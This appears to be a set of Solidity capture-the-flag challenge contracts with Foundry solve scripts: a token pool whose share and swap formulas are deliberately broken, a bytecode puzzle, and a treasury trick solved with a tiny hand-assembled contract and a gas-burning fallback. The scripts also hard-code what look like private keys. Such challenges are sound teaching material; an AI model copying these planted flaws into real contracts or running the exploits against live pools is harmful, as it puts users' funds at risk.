// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

import {ERC20} from "./ERC20.sol";
import {Pool} from "./Pool.sol";

// Dummy WETH Token
contract DummyWETH is ERC20 {
    constructor(uint256 supply) ERC20("Dummy WETH", "WETH-D") {
        _mint(msg.sender, supply);
    }
}

// Dummy PUFETH Token
contract DummyPUFETH is ERC20 {
    constructor(uint256 supply) ERC20("Dummy PUFETH", "PUFETH-D") {
        _mint(msg.sender, supply);
    }
}

// Deployment Script
contract Setup {
    mapping(address => bool) public hasClaimedWETH;
    mapping(address => bool) public hasClaimedPUFETH;
    DummyWETH private wethToken = new DummyWETH(11 ether);
    DummyPUFETH private pufethToken= new DummyPUFETH(11 ether);
    Pool public immutable pool = new Pool(address(wethToken), address(pufethToken), 0);
    constructor() payable{
        // Deploy Dummy Tokens

         // Deploy Pool

        // Approve and add liquidity
        wethToken.approve(address(pool), 10 ether);
        pufethToken.approve(address(pool), 10 ether);

        pool.addLiquidity(10 ether, 10 ether);

        // Log addresses for reference
        // console.log("WETH-D Token:", address(wethToken));
        // console.log("PUFETH-D Token:", address(pufethToken));
        // console.log("Pool:", address(pool));

    }

    function claimWETH() external {
        require(!hasClaimedWETH[msg.sender], "Already claimed WETH");
        hasClaimedWETH[msg.sender] = true;
        wethToken.transfer(msg.sender,1 ether);

        
    }

    function claimPUFETH() external {
        require(!hasClaimedPUFETH[msg.sender], "Already claimed PUFETH");
        hasClaimedPUFETH[msg.sender] = true;
        pufethToken.transfer(msg.sender,1 ether);
    }

    function isSolved(address user) public view returns(bool){
        uint256 sharesHeldByPoolOwner = pool.balanceOf(address(this));
        uint256 sharesToWin = sharesHeldByPoolOwner/2;
        uint256 sharesHeldBySender = pool.balanceOf(user);

        return sharesHeldBySender > sharesToWin;
    }
}

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.16;

import "./IERC20.sol";
import "./LiquidityToken.sol";

error Pool__InvalidTokenRatio();
error Pool__ZeroLiquidityToken();
error Pool__InvalidToken();


contract Pool is LiquidityToken {

    IERC20 private immutable i_token0;
    IERC20 private immutable i_token1;

    uint256 private s_reserve0;
    uint256 private s_reserve1;


    uint8 private immutable i_fee;

    event AddedLiquidity(
        uint256 indexed liquidityToken,
        address token0,
        uint256 indexed amount0,
        address token1,
        uint256 indexed amount1
    );

    event RemovedLiquidity(
        uint256 indexed liquidityToken,
        address token0,
        uint256 indexed amount0,
        address token1,
        uint256 indexed amount1
    );

    event Swapped(
        address tokenIn,
        uint256 indexed amountIn,
        address tokenOut,
        uint256 indexed amountOut
    );

    constructor(
        address token0,
        address token1,
        uint8 fee
    ) LiquidityToken("Backdoor Token", "BT") {
        i_token0 = IERC20(token0);
        i_token1 = IERC20(token1);
        i_fee = fee;
        s_reserve0 = 0;
        s_reserve1 = 0;
        i_token0.approve(address(this), type(uint256).max);
        i_token1.approve(address(this), type(uint256).max);
    }

    

    function _updateLiquidity(uint256 reserve0, uint256 reserve1) internal {
        s_reserve0 = reserve0;
        s_reserve1 = reserve1;
    }

    function swap(address _tokenIn, uint256 amountIn) external {
        // Objective: To Find amount of Token Out
        (uint256 amountOut, uint256 resIn, uint256 resOut, bool isToken0) = getAmountOut(_tokenIn, amountIn);

        IERC20 token0 = i_token0; // gas optimization
        IERC20 token1 = i_token1; // gas optimization

        (uint256 res0, uint256 res1, IERC20 tokenIn, IERC20 tokenOut) = isToken0
            ? (resIn + amountIn, resOut - amountOut, token0, token1)
            : (resOut - amountOut, resIn + amountIn, token1, token0);
        bool success = tokenIn.transferFrom(msg.sender, address(this), amountIn);
        require(success, "Swap Failed");

        _updateLiquidity(res0, res1);
        tokenOut.transfer(msg.sender, amountOut);

        emit Swapped(address(tokenIn), amountIn, address(tokenOut), amountOut);
    }



    function addLiquidity(uint256 amount0, uint256 amount1) external {
        uint256 reserve0 = s_reserve0; // gas optimization
        uint256 reserve1 = s_reserve1; // gas optimization
        if (amount0 < 0 || amount1 < 0) {
            revert Pool__InvalidTokenRatio();
        }

        IERC20 token0 = i_token0; // gas optimization
        IERC20 token1 = i_token1; // gas optimization

        token0.transferFrom(msg.sender, address(this), amount0);
        token1.transferFrom(msg.sender, address(this), amount1);

        uint256 liquidityTokens = ((amount0*amount0) + (amount1*amount1))/(1 ether);

        if (liquidityTokens == 0) revert Pool__ZeroLiquidityToken();
        _mint(msg.sender, liquidityTokens);
        _updateLiquidity(reserve0 + amount0, reserve1 + amount1);

        emit AddedLiquidity(
            liquidityTokens,
            address(token0),
            amount0,
            address(token1),
            amount1
        );
    }

    function removeLiquidity(uint256 liquidityTokens) external {
        (uint256 amount0, uint256 amount1) = getAmountsOnRemovingLiquidity(liquidityTokens);

        _burn(msg.sender, liquidityTokens);
        _updateLiquidity(s_reserve0 - amount0, s_reserve1 - amount1);

        IERC20 token0 = i_token0; // gas optimization
        IERC20 token1 = i_token1; // gas optimization

        token0.transfer(msg.sender, amount0);
        token1.transfer(msg.sender, amount1);

        emit RemovedLiquidity(
            liquidityTokens,
            address(token0),
            amount0,
            address(token1),
            amount1
        );
    }

    function getAmountsOnRemovingLiquidity(uint256 liquidityTokens) public view returns(uint256 amount0, uint256 amount1){
        require(liquidityTokens > 0, "0 Liquidity Tokens");
        amount0 = liquidityTokens/2;
        amount1 = liquidityTokens/2;
    }

    function getAmountOut(
        address _tokenIn,
        uint amountIn
    ) public view returns (uint, uint , uint , bool) {
        require(
            _tokenIn == address(i_token0) || _tokenIn == address(i_token1),
            "Invalid Token"
        );

        bool isToken0 = _tokenIn == address(i_token0) ? true : false;

        uint256 reserve0 = s_reserve0; // gas optimization
        uint256 reserve1 = s_reserve1; // gas optimization

        (
            uint256 resIn,
            uint256 resOut
        ) = isToken0
                ? (reserve0, reserve1)
                : (reserve1, reserve0);

        uint256 amountInWithFee = (amountIn * (10000 - i_fee)) / 10000;
        uint256 amountOut = amountInWithFee;
        return (amountOut, resIn, resOut, isToken0);
    }

    function getReserves() public view returns (uint256, uint256) {
        return (s_reserve0, s_reserve1);
    }

    function getTokens() public view returns (address, address) {
        return (address(i_token0), address(i_token1));
    }

    function getFee() external view returns (uint8) {
        return i_fee;
    }

}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

import "./ERC20.sol";

contract LiquidityToken is ERC20 {
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
}

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Script, console} from "lib/forge-std/src/Script.sol";
import {Setup, DummyWETH, DummyPUFETH} from "../src/Setup.sol";
import {Pool} from "../src/Pool.sol";
import {LiquidityToken} from "../src/LiquidityToken.sol";
import {ERC20} from "../src/ERC20.sol";

contract SolveScript is Script {
    Setup public set = Setup(0xa8e2ccc88E1DE035FD0BF796D9Aad250b8e6e9EB);
    address public user = 0x07009df29BE4772dD6FF1b1166e3598840290e4f;
    Pool public pool;
    DummyWETH  public wethToken;
    DummyPUFETH  public pufethToken;
    function run() public {
        vm.startBroadcast(0xa69081d2dbfafc79223895b25b0317a5dc473f617ba900b482c2664af6025a50);
        pool = set.pool();
        (address weth, address pufeth) = pool.getTokens();
        wethToken = DummyWETH(weth);
        pufethToken = DummyPUFETH(pufeth);
        // set.claimPUFETH();
        // set.claimWETH();

        console.log("User : ", msg.sender);
        console.log("User DummyWETH balance :", wethToken.balanceOf(user));
        console.log("User DummyPUFETH balance :", pufethToken.balanceOf(user));
        console.log("User LiquidityToken balance :", pool.balanceOf(user));
        console.log("Setup LiquidityToken balance :", pool.balanceOf(address(set)));

        console.log("iFee :", pool.getFee());

        wethToken.approve(address(pool), type(uint256).max);
        pufethToken.approve(address(pool), type(uint256).max);
        
        uint256 lpBal = pool.balanceOf(user);
        for(uint8 i; i<2; i++){
            uint256 wethBal = wethToken.balanceOf(user);
            pool.swap(address(wethToken), wethBal);
            uint256 pufethBal = pufethToken.balanceOf(user);
            pool.addLiquidity(0 ether, pufethBal);
            lpBal = pool.balanceOf(user);
            pool.removeLiquidity(lpBal);
        }
        uint256 pufethBal = pufethToken.balanceOf(user);
        uint256 wethBal = wethToken.balanceOf(user);
        pool.addLiquidity(wethBal,pufethBal);
        lpBal = pool.balanceOf(user);
        
        console.log("User DummyWETH balance :", wethToken.balanceOf(user));
        console.log("User DummyPUFETH balance :", pufethToken.balanceOf(user));

        console.log("User DummyWETH balance :", wethToken.balanceOf(user));
        console.log("User DummyPUFETH balance :", pufethToken.balanceOf(user));
        console.log("User LiquidityToken balance :", pool.balanceOf(user));
        console.log("Setup LiquidityToken balance :", pool.balanceOf(address(set)));


        console.log("isSolved() :", set.isSolved(user));
        vm.stopBroadcast();
    }
}

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.15;

import "./challenge.sol";

contract Setup {
    Challenge public challenge;
    constructor() payable{
        challenge = new Challenge();
    }
    function isSolved() external view returns (bool) {
        return challenge.solved();
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

contract Challenge {

    bytes32 private constant stick = 0xd4fd4e189132273036449fc9e11198c739161b4c0116a9a2dccdfa1c492006f1;
    uint256 private constant maxCodeSize = 30;
    bool public solved=false;

    function func(bytes memory input) external payable {

        address addr;
        bytes4 value4;
        uint256 codeSize;
        uint combined;

        assembly {
            let base := add(input, 0x20)
            let first20 := shr(96, mload(base))
            addr := first20

            codeSize := extcodesize(addr)
            if gt(codeSize, maxCodeSize) {
                revert(0, 0)
            }

            let data := mload(add(input, 0x34))       
            value4 := data

            let value := callvalue()
            let value1 := value
            let value3 := 0
            let value2 := 0
            
            for { } gt(value1, 0) { value1 := shr(1, value1) } {
                value3 := shl(1, value3)
                value3 := or(value3, and(value1, 1))
            }
            let bool1 := eq(value, value3)

            value1 := value
            for { } gt(value1, 0) { value1 := and(value1, sub(value1, 1)) } {
                value2 := add(value2, 1)
            }
            let bool2 := or(lt(value2, 4), eq(value2, 3))
            combined := and(bool1, bool2)
            }
            require(combined==1, "Condition failed");

        (bool success1, bytes memory ret1) = addr.call("");
        require(success1, "Call failed");
        require(ret1.length > 0, "No return data");
        bytes1 retValue1 = bytes1(ret1[0]);
        require(retValue1 == "L", "Invalid return value");

        (bool success2, bytes memory ret2) = addr.call{value: msg.value}("");
        require(success2, "Call failed");
        require(ret2.length > 0, "No return data");
        bytes1 retValue2 = bytes1(ret2[0]);
        require(retValue2 == "M", "Invalid return value");

        bytes32 hashedValue = keccak256(abi.encodePacked(value4));
        require(hashedValue == stick, "Hash mismatch");

        solved = true;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Challenge.sol";

contract Setup {
    address public immutable master;
    Treasury public treasury;
    SecretChecker public secretChecker;

    constructor() payable {
        master = msg.sender;
        treasury = new Treasury{value : 1 ether}(msg.sender);
        secretChecker = new SecretChecker();
    }

    function isSolved() public returns (bool) {
        (bool MasterCanWithdraw, ) = address(treasury).call{gas : 1000000}(abi.encodeWithSignature("withdraw()"));
        bool IKnowTheSecret = secretChecker.SecretIsLeaked();  
        return (!MasterCanWithdraw) && IKnowTheSecret;   
    }    

    receive() external payable {}
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Servant {
    function spillSecret() external view returns (bytes32);
}

// Master uses the below contract to pay your salary

contract Treasury {
    address public servant; 
    address public immutable master;
    uint256 public timesWithdrawn;
    mapping(address => uint256) servantBalances; 

    constructor(address _master) payable{
        master = _master;
    }

    function withdraw() public {
        uint256 dividend = address(this).balance / 100;

        servant.call{value: dividend}("");
        payable(master).transfer(dividend);

        timesWithdrawn++;
        servantBalances[servant] += dividend;
    }

    function BecomeServant(address _servant) external {
        servant = _servant;
    }

    function remainingTreasure() public view returns (uint256) {
        return address(this).balance;
    }

    receive() external payable {}
}

contract SecretChecker {
    bool public SecretIsLeaked;
    mapping (bytes32 => bool) public attempted;

    function IKnowTheSecret(address _servant) public {
    require(!attempted[keccak256(abi.encodePacked(_servant))], "Won't give another chance :p");
    
    uint256 length;
    assembly {
        length := extcodesize(_servant)
    }
    require(length <= 20, "HaHa! try again xD");

    Servant servant = Servant(_servant);
    bytes32 encodedSecret = servant.spillSecret();
    bytes32 secret = bytes32(abi.encodePacked("I'm_L0yal;)")) >> (24 * 7);
    require(keccak256(abi.encodePacked(secret)) == keccak256(abi.encodePacked(encodedSecret)), "You don't know the secret!");

    attempted[keccak256(abi.encodePacked(_servant))] = true;
    SecretIsLeaked = true;
    }
}

contract SolveScript is Script {
    Setup public set = Setup(payable(0x5a825D1C0B1cE08dAd551a73a180785598FD22eE));
    SecretChecker public secretChecker;
    Treasury public treasury;

    function setUp() public {}

    function run() public {
        vm.startBroadcast(0x0abccce2d992649ac814a88542efa920523c780b101babc97ff79651a4652ff1);
        secretChecker = set.secretChecker();
        treasury = set.treasury();
        AttackDeployer attack = new AttackDeployer();
        address servant = attack.exploit();
        treasury.BecomeServant(address(attack));
        treasury.withdraw();

        secretChecker.IKnowTheSecret(servant);
        console.log("SecretIsLeaked : ", secretChecker.SecretIsLeaked());

        vm.stopBroadcast();
    }
}

contract AttackDeployer {
    function exploit() public returns (address) {
         //    bytes32 secret = bytes32(abi.encodePacked("I'm_L0yal;)")) >> (24 * 7); //0x00000000000000000000000000000000000000000049276d5f4c3079616c3b29
    //    console.logBytes32(secret);
    // RUNTIME : 6a49276d5f4c3079616c3b2960005260206000f3  // 6a49276d5f4c3079616c3b29600052600b6015f3
    // INIT: 6014600c60003960146000f3 6a49276d5f4c3079616c3b2960005260206000f3
        bytes memory bytecode = hex"6014600c60003960146000f36a49276d5f4c3079616c3b2960005260206000f3";
        address _solver;
        uint256 _size;
        
        assembly {
            _solver := create(0, add(bytecode, 0x20), mload(bytecode))
            _size := extcodesize(_solver)
        }
        require(_solver != address(0));
        console.log("Code size : ", _size);
        return _solver;
    }
    
    receive() external payable {
        uint256 a = 2;
        while (true) {
            a = a * a;
        }   
    }
}